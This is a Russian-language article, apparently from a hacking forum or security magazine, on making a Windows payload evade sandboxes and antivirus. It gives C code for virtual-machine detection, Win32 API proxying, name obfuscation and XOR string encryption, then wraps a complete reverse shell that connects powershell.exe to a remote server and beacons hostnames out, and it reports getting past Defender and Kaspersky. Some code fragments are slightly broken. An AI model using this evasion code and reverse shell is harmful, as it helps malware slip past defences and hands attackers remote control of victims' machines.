Name : Standard VGA Graphics Adapter
Description : Standard VGA Graphics Adapter
PNPDeviceID : PCI\VEN_1B36&DEV_0100&SUBSYS_11001AF4&REV_05\3&2
Hostname: azure-PC
OS: Windows 7
Name : Standard VGA Graphics Adapter
Description : Standard VGA Graphics Adapter
PNPDeviceID : PCI\VEN_1B36&DEV_0100&SUBSYS_11001AF4&REV_05\3&2
Hostname: 00900BC83803
OS: Windows 10
Name : Intel(R) UHD Graphics 630
Description : Microsoft Basic Display Adapter
PNPDeviceID : PCI\VEN_1234&DEV_5678&SUBSYS_9101112&REV_01\3&ABCDE&0&11
Hostname: COMPUTER-9GV0UZ
OS: Windows 10
Name : Microsoft Basic Display Adapter
Description : Microsoft Basic Display Adapter
PNPDeviceID : PCI\VEN_1AE0&DEV_A001&SUBSYS_00011AE0&REV_01\3&13C0B0C5&0&18
Hostname: MZLTRR848050884
OS: Windows 10
Name : Microsoft Basic Display Adapter
Description : Microsoft Basic Display Adapter
PNPDeviceID : PCI\VEN_8086&DEV_0412&SUBSYS_2AF7103C&REV_06\3&21436425&0&10
Как видно, есть повторяющиеся значения, а также имена и описания, похожие на дефолтные или сгенерированные. Дополнительно к выводу о том, что при проведении тестирования по фишингу мне прилетали отстуки от Kaspersky, говорят одинаковые VEN и DEV, полученные с сайта анализатора и откуда‑то еще (откуда прилетают странные отстукивания со странных хостов, я так и не понял).
В итоге я получил следующие имена виртуальных адаптеров:
Код:
// Имена виртуальных видеоадаптеров
char* virtual_keywords[] = {
"Microsoft Basic Display Adapter",
"VMware SVGA 3D",
"VirtualBox Graphics Adapter",
"Hyper-V Video",
"Parallels Display Adapter (WDDM)",
"QXL",
"Red Hat QXL"
"Xen VGA",
"Citrix Display Adapter",
"GDI Generic",
"VBOX DISP Adapter"
Параметр PNPDeviceID указывает идентификатор логического устройства Win32 Plug and Play. Затем я попытался найти инфу о том, какие идентификаторы используются в виртуальных средах для видеокарт:
Код:
// Виртуальные VEN- и DEV-коды
char* virtual_code[] = {
// Vendor ID Device ID
// VMware
"VEN_15AD", "DEV_0405",
// VirtualBox
"VEN_80EE", "DEV_BEEF", "DEV_CAFE",
// Microsoft Hyper-V
"VEN_\x0fDESKTOP-VVJHHG1414", "DEV_5353",
// QEMU / KVM
"VEN_1AF4", "DEV_1110",
// Parallels Display Adapter
"VEN_1AB8", "DEV_4000", "DEV_4005",
// Citrix Xen
"VEN_5853", "DEV_0001", "DEV_0002", "DEV_0003", "DEV_0004",
"DEV_0005", "DEV_0006", "DEV_0007", "DEV_0008", "DEV_0009",
"DEV_000A", "DEV_000B", "DEV_000C", "DEV_000D", "DEV_000V", "DEV_000F",
// Bochs / QEMU Generic VGA
"VEN_1234", "DEV_1111",
// Red Hat / QEMU
"VEN_1B36", "DEV_0100",
// Google
"VEN_1AE0", "DEV_A001"
};
По ним мы будем определять наличие виртуальной среды. Теперь взглянем на диски:
Код:
Real PC:
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C: 465,12 66,92 398,20
Kaspersky:
С сайта анализатора:
Hostname: ELZ-8K4JW2UL3QY
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C: 39.89 20.55 19.34
Hostname: art-PC
OS: Windows 7
DeviceID Size(GB) Free(GB) Used(GB)
C: 18.90 2.49 16.41
D: 1.00 0.87 0.13
Файлы, аналогичные файлам при проведении тестового фишинга:
Hostname: DESKTOP-09L7V90
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C: 1,023.51 1,001.54 21.97
Hostname: DESKTOP-NL2CM8W
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C: 1,023.51 1,001.54 21.97
Hostname: DESKTOP-WSP0LAK
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C: 299.51 276.81 22.70
VirusTotal:
Hostname: WIN-5E07COS9ALR
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C: 40.00 25.68 14.32
D: 64.00 63.87 0.13
Hostname: WIN-QIUREVVK5FL
OS: Windows 7
Данные почему‑то отсутствуют.
Hostname: 715575
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C: 208.15 104.83 103.32
Hostname: 061544
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C: 208.15 55.46 152.69
Hostname: 424505
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C: 208.15 104.83 103.32
Hostname: azure-PC
OS: Windows 7
DeviceID Size(GB) Free(GB) Used(GB)
C: 119.90 89.61 30.29
Hostname: azure-PC
OS: Windows 7
DeviceID Size(GB) Free(GB) Used(GB)
C: 119.90 89.61 30.30
Hostname: 00900BC83803
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C: 29.45 9.32 20.14
E: 0.29 0.26 0.03
F: 1,024.00 1,023.86 0.13
Hostname: 00900BC83803
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C: 39.89 20.55 19.33
Hostname: MZLTRR848050884
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C: 999.90 981.98 17.92
G: 999.90 981.98 17.92
Как видно, встречаются лишь маленькие и часто повторяющиеся значения.
Реализация
Так как не все данные на сто процентов говорят о том, что программа запущена в виртуальной среде, я решил использовать методику из практического экзамена в ГИБДД. Экзамен продолжается, пока кандидат в водители либо не сдаст экзамен, либо не наберет семь штрафных баллов. Так вот, за разные нарушения начисляется определенное количество баллов. Есть нарушения, после которых экзамен завершается сразу (например, нарушение при повороте, развороте, превышение ведет к получению сразу семи баллов), а есть те, за которые кандидат может получить от одного до четырех баллов (скажем, забыл включить поворотник или заглох).В нашем случае тоже есть параметры, по которым наверняка можно определить, что программа запущена в виртуальной среде: виртуальный видеоадаптер, игнорирование функций sleep, процессы, относящиеся к виртуализации. А есть те, по которым можно сделать косвенные выводы, например количество ядер процессора или число запущенных процессов. Думаю, логика понятна.
Теперь составим таблицу с оценочными тестами.
Method | ||
---|---|---|
Check Sleep | Positive | Negative |
Points | 0 | 7 |
Method | |||
---|---|---|---|
Check Uptime | <=10 min | <=30 min | <=1 hour |
Points | 7 | 4 | 1 |
Method | |||
---|---|---|---|
Check CPU | <=1 | <=2 | <=4 |
Points | 7 | 4 | 1 |
Method | |||
---|---|---|---|
Check MEM | <=2 | <=4 | <=6 |
Points | 7 | 4 | 1 |
Method | ||
---|---|---|
Check MAC | Positive | Negative |
Points | 0 | 4 |
Method | |||
---|---|---|---|
Check Process | <=100 | <=150 | <=170 |
Points | 7 | 4 | 1 |
Positive | Negative | ||
Points | 0 | 7 |
Method | ||
---|---|---|
Check Video | Positive | Negative |
Points | 0 | 7 |
Method | ||
---|---|---|
Check Disk | <100 GB | |
Points | 7 |
Method | ||
---|---|---|
Check Mouse | Positive | Negative |
Points | 0 | 7 |
Полный код я Для просмотра ссылки Войди
Вот часть кода, где создается окно и вызывается функция проверки:
Код:
case WM_CREATE:
{
check_box();
int a;
for(; {
// Инициализация генератора случайных чисел текущим временем
srand(time(NULL));
// Генерация числа от 1 до 100
int random_number = (rand() % 100) + 1;
a += random_number;
}
}
Если проверка прошла успешно и мы не в виртуальной машине, функция check_box завершит работу программы после отработки полезной нагрузки. В противном случае программа перейдет к бесконечному сложению чисел. Вот функция check_box:
Код:
int check_box()
{
int check_result = 0;
int local_result = 0;
local_result = 0;
local_result = Check_Sleep();
check_result = check_result + local_result;
if(check_result >= 7) return 1;
local_result = 0;
local_result = Check_Uptime();
check_result = check_result + local_result;
if(check_result >= 7) return 1;
local_result = 0;
local_result = Check_CPU_Info();
check_result = check_result + local_result;
if(check_result >= 7) return 1;
local_result = 0;
local_result = Check_MEM_Info();
check_result = check_result + local_result;
if(check_result >= 7) return 1;
local_result = 0;
local_result = Check_MAC();
check_result = check_result + local_result;
if(check_result >= 7) return 1;
local_result = 0;
local_result = Check_Process();
check_result = check_result + local_result;
if(check_result >= 7) return 1;
local_result = 0;
local_result = Check_First_Video_Device();
check_result = check_result + local_result;
if(check_result >= 7) return 1;
local_result = 0;
local_result = Check_Disk_Info();
check_result = check_result + local_result;
if(check_result >= 7) return 1;
local_result = 0;
local_result = Check_Mouse_Motion();
check_result = check_result + local_result;
if(check_result >= 7) return 1;
Tapping();
exit(0);
}
В этой части кода последовательно выполняются проверки, и если набирается семь или больше баллов, то функция возвращает 1 и код переходит к бесконечному складыванию чисел. Если же проверки не обнаружили виртуальную среду, то программа переходит к функции Tapping (аналог полезной нагрузки), которая получает Hostname системы и отправляет его POST-запросом мне на сервер, чтобы я мог определить, в какой виртуальной среде по тем или иным причинам отработала полезная нагрузка.
На сервере я должен получить примерно такую картину:
Код:
id: Tapping
('user_ip', )
('user_agent', )
('date', 'yyyy-mm-dd hh:mm:ss')
('Width', )
('Longitude', )
('hostname', )
status code: 0
Обфускация
Первое, что я решил сделать, — это обфусцировать функции Win32 API. Идею я позаимствовал из статьи «Для просмотра ссылки ВойдиВот пример для функции GetSystemInfo. Если скомпилировать проект без обфускации, то можно увидеть следующее:
Код:
strings main.exe | grep GetSystemInfo
GetSystemInfo
ProxyGetSystemInfo
GetSystemInfo
__imp_GetSystemInfo
А теперь обфусцируем ее выбранным нами способом:
void ProxyGetSystemInfo(LPSYSTEM_INFO lpSystemInfo) {
// Создаем тип pGetSystemInfo, который представляет указатель на функцию,
// принимающую указатель на SYSTEM_INFO и не возвращающую значение.
// Это позволит динамически загружать функцию GetSystemInfo.
typedef void(WINAPI* pGetSystemInfo)(LPSYSTEM_INFO);
// Имя функции "GetSystemInfo"
char funcName[] = { 'G','e','t','S','y','s','t','e','m','I','n','f','o','\0' };
// Имя библиотеки "kernel32.dll"
char name_dll[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\0' };
// Загружаем дескриптор библиотеки kernel32.dll, которая содержит GetSystemInfo
HMODULE hKernel32 = LoadLibraryA(name_dll);
// Получаем адрес функции GetSystemInfo в этой библиотеке
pGetSystemInfo GetSystemInfoFunc = (pGetSystemInfo)GetProcAddress(hKernel32, funcName);
// Если функция загружена, вызываем ее
if (GetSystemInfoFunc != NULL) {
// Вызов функции GetSystemInfo
GetSystemInfoFunc(lpSystemInfo);
} else {
// printf("Error: GetSystemInfo function not found!\n");
exit(1);
}
// Освобождаем загруженную библиотеку
FreeLibrary(hKernel32);
}
Теперь компилируем проект и смотрим, осталось ли упоминание о нашей функции в скомпилированном файле:
Код:
strings main.exe | grep GetSystemInfo
ProxyGetSystemInfo
Как видно, осталось только измененное наименование функции, далее мы его тоже заменим, но будем делать это в автоматическом режиме с помощью скрипта на Python.
Проксируем таким образом все функции, которые используем в проекте. Прототипы и сами функции лежат в файле proxy_funck.с.
Теперь нужно изменить наименования. Для этого я написал простой скрипт на Python, и теперь обфусцированная функция проксирования ProxyGetSystemInfo выглядит так:
Код:
void hkgnxQepjmjsmmndk(LPSYSTEM_INFO qvkajTyhuqevm) {
typedef void(WINAPI* fldzzGflcclknthgw)(LPSYSTEM_INFO);
char ydvyzAfgwfvmcefnzj[] = { 'G','e','t','S','y','s','t','e','m','I','n','f','o','\0' };
char mcfdgNqypgvahfal[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\0' };
HMODULE yinkaJpaggo = LoadLibraryA(mcfdgNqypgvahfal);
fldzzGflcclknthgw mbiloJfyaumc = (fldzzGflcclknthgw)GetProcAddress(yinkaJpaggo, ydvyzAfgwfvmcefnzj);
if (mbiloJfyaumc != NULL) {
mbiloJfyaumc(qvkajTyhuqevm);
} else {
// printf("Error: GetSystemInfo function not found!\n");
exit(1);
}
FreeLibrary(yinkaJpaggo);
}
Смотрим, есть ли какое‑то упоминание о GetSystemInfo в файле:
strings main.exe | grep GetSystemInfo
Отлично. На самом деле обфусцировать переменные, которые находятся внутри функций (то есть локальные), нет смысла, они все равно не отображаются при статическом анализе файла. Главное — обфусцировать имена функций, а также строковые данные.
Строковые данные мы будем сохранять как массивы char, таким образом они не сохраняются, как обычные строки.
Было:
const char *ip = "192.168.5.52";
Стало:
Код:
const char temp_ip[] = { '1','9','2','.','1','6','8','.','5','.','5','2','\0' };
const char *ip = temp_ip;
Тестируем!
Для начала нужно провести тестовую проверку с обычным файлом, чтобы посмотреть, как поведут себя анализируемые среды. Вот код программы, которую мы будем тестировать:
Код:
#include <stdio.h>
int main()
{
char command[] = "powershell";
printf("command: %s\n", command);
return 0;
}
В том, что не будет ложноположительных результатов, уверенности не было с самого начала.
Для просмотра ссылки Войди
Начнем c реальных машин. К сожалению, у меня не так много тестовых компьютеров, поэтому я провел всего два теста. При запуске, как и должно было получиться, прилетели отстуки со следующими именами:
Код:
id: Tapping
('user_ip', None)
('user_agent', 'WinInet_Post')
('date', '<date>')
('Width', <width>)
('Longitude', <longitude>)
('hostname', '\x0fDESKTOP-VAJCHE')
status code: 0
id: Tapping
('user_ip', None)
('user_agent', 'WinInet_Post')
('date', '<date>')
('Width', <width>)
('Longitude', <longitude>)
('hostname', '\x0fDESKTOP-AATCVQ')
status code: 0
А теперь реальные тесты!
VirusTotal
В первую очередь я решил Для просмотра ссылки ВойдиДля просмотра ссылки Войди
А вот и проверка в песочницах.
Для просмотра ссылки Войди
Как видно, те функции, которые мы проксировали из DLL, здесь не засветились.
Для просмотра ссылки Войди
И тут моего IP нет (это трафик из Microsoft Sysinternals).
Для просмотра ссылки Войди
Kaspersky
А вот результаты динамического сканирования от Kaspersky.Для просмотра ссылки Войди
Статический анализ также не выявил, какие функции Win32 API использовались в программе.
Для просмотра ссылки Войди
Запросов в интернет тоже не было.
Для просмотра ссылки Войди
В итоге я не получил ни одного запроса. Можно сделать вывод, что песочницы были обнаружены и программа занялась подсчетом чисел. Но мою программу сложно назвать точно работающей, потому как выборка на реальных физических машинах слишком мала, чтобы уверенно говорить о результате. Например, изначально при обнаружении виртуального MAC-адреса я начислял семь баллов, но потом изменил на четыре, так как в реальной машине может присутствовать виртуальный адаптер Hyper-V Virtual Ethernet Adapter. Но все же результатом я доволен.
Однако у нас не использовалось никакой реально зловредной полезной нагрузки. Как насчет сокрытия чего‑то «такого»? Для примера возьмем reverse shell с сайта Для просмотра ссылки Войди
Код:
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
char ip_addr[16] = "ip";
char port[6] = "port";
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
int main()
{
int i = 0;
while ( i == 0 ){
WSAStartup(MAKEWORD(2, 2), &wsaData);
Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip_addr);
strcpy_s(ip_addr, 16, inet_ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(port));
hax.sin_addr.s_addr = inet_addr(ip_addr);
int result;
result = WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
if (result != -1) {
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb = sizeof(ini_processo);
ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
TCHAR cmd[255] = TEXT("powershell.exe");
CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
i = 1;
}
else
Sleep(60000);
}
return 0;
}
Этот код я уже светил на VirusTotal и Kaspersky, поэтому он должен детектиться как зловредный.
Все функции мы также проксируем, строковые переменные видоизменяем в массивы. Теперь, если виртуальная среда не будет обнаружена, должен прилететь POST-запрос с Hostname машины и за ним устанавливаться подключение reverse shell.
Так выглядит подключение с реальной машины.
Для просмотра ссылки Войди
VirusTotal
Вот результат тестирования программы с полезной нагрузкой на Для просмотра ссылки ВойдиДля просмотра ссылки Войди
Kaspersky
А вот результаты проверки в инфраструктуре Kaspersky.Для просмотра ссылки Войди
А теперь протестируем программы с включенным антивирусом на компьютере.
Для тестов у меня их будет всего два: Microsoft Defender и Kaspersky. Для начала протестируем с Defender’ом.
Для просмотра ссылки Войди
Запускаю скрипт и жду подключения. И я его получил!
Для просмотра ссылки Войди
Теперь делаем то же самое, только с Kaspersky Endpoint Security.
Для просмотра ссылки Войди
И он тоже промолчал: удаленная машина подключилась к серверу.
Для просмотра ссылки Войди
Но частично функции обхода песочниц антивирус все‑таки обнаружил.
Для просмотра ссылки Войди
Поэтому я решил зашифровать строки c использованием XOR и посмотреть, что будет. Например, так теперь выглядит проксирование функции GetSystemInfo:
Код:
void ProxyGetSystemInfo(LPSYSTEM_INFO lpSystemInfo) {
// Создаем тип pGetSystemInfo, который представляет указатель на функцию,
// принимающую указатель на SYSTEM_INFO и не возвращающую значение.
// Это позволит динамически загружать функцию GetSystemInfo.
typedef void(WINAPI* pGetSystemInfo)(LPSYSTEM_INFO);
// Ключ для дешифровки зашифрованных имен
const char *key = "DFEWPWPDSPFEPWEQOUSDFUIKKSLASDJQFSSKFLWKSKEFJLSS";
// Зашифрованное имя функции "GetSystemInfo"
// char funcName[] = "GetSystemInfo";
// char funcName[] = { 'G','e','t','S','y','s','t','e','m','I','n','f','o','\0' };
char funcName[14] = {0x03, 0x23, 0x31, 0x04, 0x29, 0x24, 0x24, 0x21, 0x3E, 0x19, 0x28, 0x23, 0x3F, 0x00};
Xor_Dencrypt(funcName, strlen(funcName), key);
// Зашифрованное имя библиотеки "kernel32.dll"
// char name_dll[] = "kernel32.dll";
// char name_dll[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\0' };
char name_dll[13] = {0x2F, 0x23, 0x37, 0x39, 0x35, 0x3B, 0x63, 0x76, 0x7D, 0x34, 0x2A, 0x29, 0x00};
Xor_Dencrypt(name_dll, strlen(name_dll), key);
// Загружаем дескриптор библиотеки kernel32.dll, которая содержит GetSystemInfo
HMODULE hKernel32 = LoadLibraryA(name_dll);
// Получаем адрес функции GetSystemInfo в этой библиотеке
pGetSystemInfo GetSystemInfoFunc = (pGetSystemInfo)GetProcAddress(hKernel32, funcName);
// Если функция загружена, вызываем ее
if (GetSystemInfoFunc != NULL) {
// Вызов функции GetSystemInfo
GetSystemInfoFunc(lpSystemInfo);
} else {
// printf("Error: GetSystemInfo function not found!\n");
exit(1);
}
// Освобождаем загруженную библиотеку
FreeLibrary(hKernel32);
}
Полученный Для просмотра ссылки Войди
Для просмотра ссылки Войди
Ушло упоминание об anti-analysis.
Для просмотра ссылки Войди
А вот Для просмотра ссылки Войди
Для просмотра ссылки Войди
Ни один запрос так и не прилетел. В общем, Symantec обойти тоже не удалось. Как я понял, это широко используемое за рубежом антивирусное ПО, но про него мне вообще почти ничего не известно. Также Deep Instinct, SecureAge и Elastic пометили нагрузку как зловредную. Но полученный результат лучше, чем без шифрования строк.